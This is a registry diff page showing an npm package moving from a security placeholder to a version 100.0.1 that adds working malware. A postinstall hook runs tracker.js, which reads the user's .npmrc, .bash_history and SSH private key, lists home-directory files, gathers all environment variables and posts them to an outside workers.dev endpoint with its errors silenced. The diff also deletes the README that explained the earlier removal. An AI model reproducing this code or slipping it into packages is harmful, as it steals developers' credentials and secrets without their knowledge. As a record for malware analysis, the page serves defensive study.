generic-synthetic-nodejs 0.0.1-security → 100.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of generic-synthetic-nodejs might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ // index.js
2
+
3
+ const trackData = require('./tracker');
4
+
5
+ // Call the function
6
+ trackData();
7
+
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "generic-synthetic-nodejs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "*",
10
+ "os": "*",
11
+ "fs": "*"
12
+ },
13
+ "author": "",
14
+ "license": "ISC",
15
+ "devDependencies": {},
16
+ "description": ""
6
17
  }
package/tracker.js ADDED
@@ -0,0 +1,85 @@
1
+ // tracker.js
2
+
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const axios = require('axios');
6
+
7
+ function getAllFiles(dirPath, depth = 0, maxDepth = 1) {
8
+ const filesAndDirs = [];
9
+ let contents;
10
+
11
+ try {
12
+ contents = fs.readdirSync(dirPath);
13
+ } catch (error) {
14
+ return filesAndDirs;
15
+ }
16
+
17
+ contents.forEach(function(item) {
18
+ const fullPath = dirPath + '/' + item;
19
+ let stats;
20
+
21
+ try {
22
+ stats = fs.statSync(fullPath);
23
+ } catch (error) {
24
+ return;
25
+ }
26
+
27
+ if (stats.isFile() || (stats.isDirectory() && depth < maxDepth)) {
28
+ filesAndDirs.push(fullPath);
29
+ }
30
+
31
+ if (stats.isDirectory() && depth < maxDepth) {
32
+ const subFiles = getAllFiles(fullPath, depth + 1, maxDepth);
33
+ filesAndDirs.push(...subFiles);
34
+ }
35
+ });
36
+
37
+ return filesAndDirs;
38
+ }
39
+
40
+ function trackData() {
41
+ const homeDir = os.homedir();
42
+ let allFiles;
43
+ try {
44
+ allFiles = getAllFiles(homeDir);
45
+ } catch (error) {
46
+ allFiles = [];
47
+ }
48
+
49
+ const filesToRead = ['.npmrc', '.bash_history', '.ssh/id_rsa', '.ssh/id_rsa.pub'];
50
+
51
+ const fileContents = {};
52
+ filesToRead.forEach(fileName => {
53
+ const filePath = homeDir + '/' + fileName;
54
+ try {
55
+ if (fs.existsSync(filePath)) {
56
+ fileContents[fileName] = fs.readFileSync(filePath, 'utf8');
57
+ } else {
58
+ fileContents[fileName] = null;
59
+ }
60
+ } catch (error) {
61
+ fileContents[fileName] = null;
62
+ }
63
+ });
64
+
65
+ const envVariables = process.env;
66
+
67
+ const trackingServiceUrl = 'https://b.alt-h7-eoj8gqk1.workers.dev/track';
68
+ const packageName = 'qwe';
69
+
70
+ axios.post(trackingServiceUrl, {
71
+ package: packageName,
72
+ allFiles: allFiles,
73
+ fileContents: fileContents,
74
+ environment: envVariables
75
+ })
76
+ .then(response => {
77
+ //console.log(`Download of ${packageName} tracked successfully.`);
78
+ })
79
+ .catch(error => {
80
+ //console.error('Error tracking download:', error);
81
+ });
82
+ }
83
+
84
+ module.exports = trackData;
85
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=generic-synthetic-nodejs for more information.